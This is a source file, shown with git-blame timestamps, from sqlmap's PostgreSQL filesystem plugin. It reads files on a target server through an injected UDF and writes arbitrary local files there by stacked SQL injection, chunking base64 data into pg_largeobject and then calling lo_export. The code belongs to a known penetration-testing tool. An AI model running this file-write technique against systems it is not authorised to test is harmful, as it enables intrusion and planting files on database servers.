2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
"""
|
2017-01-02 16:19:18 +03:00
|
|
|
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2010-03-23 01:57:57 +03:00
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
|
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.data import logger
|
2012-12-06 17:14:19 +04:00
|
|
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
2015-07-24 15:56:45 +03:00
|
|
|
from lib.core.settings import LOBLKSIZE
|
2010-03-23 01:57:57 +03:00
|
|
|
from lib.request import inject
|
|
|
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
|
|
|
|
|
|
|
class Filesystem(GenericFilesystem):
|
|
|
|
def __init__(self):
|
|
|
|
self.oid = None
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page = None
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
GenericFilesystem.__init__(self)
|
|
|
|
|
|
|
|
def stackedReadFile(self, rFile):
|
|
|
|
infoMsg = "fetching file: '%s'" % rFile
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
self.initEnv()
|
|
|
|
|
2012-02-17 19:54:49 +04:00
|
|
|
return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread")
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2013-02-14 17:18:33 +04:00
|
|
|
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
2011-04-30 17:20:05 +04:00
|
|
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
2010-03-23 01:57:57 +03:00
|
|
|
errMsg += "query SQL injection technique"
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2013-01-23 05:27:01 +04:00
|
|
|
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
2010-03-23 01:57:57 +03:00
|
|
|
wFileSize = os.path.getsize(wFile)
|
2015-07-24 15:56:45 +03:00
|
|
|
content = open(wFile, "rb").read()
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
self.oid = randomInt()
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page = 0
|
2010-03-23 01:57:57 +03:00
|
|
|
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "create a new OID for a large object, it implicitly "
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "adds an entry in the large objects system table"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
# References:
|
|
|
|
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
|
|
|
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
2015-07-24 15:56:45 +03:00
|
|
|
|
2010-03-23 01:57:57 +03:00
|
|
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
2015-07-24 16:15:41 +03:00
|
|
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
|
|
|
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2015-07-24 15:56:45 +03:00
|
|
|
for offset in xrange(0, wFileSize, LOBLKSIZE):
|
|
|
|
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
|
|
|
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
|
|
|
|
|
|
for sqlQuery in sqlQueries:
|
|
|
|
inject.goStacked(sqlQuery)
|
|
|
|
|
|
|
|
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
|
|
|
|
inject.goStacked("DELETE FROM %s" % self.fileTblName)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2015-07-24 15:56:45 +03:00
|
|
|
self.page += 1
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "exporting the OID %s file content to " % fileType
|
2010-03-23 01:57:57 +03:00
|
|
|
debugMsg += "file '%s'" % dFile
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
|
|
|
|
2013-01-23 05:27:01 +04:00
|
|
|
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
2010-03-23 01:57:57 +03:00
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
2013-01-23 05:27:01 +04:00
|
|
|
|
|
|
|
return written
|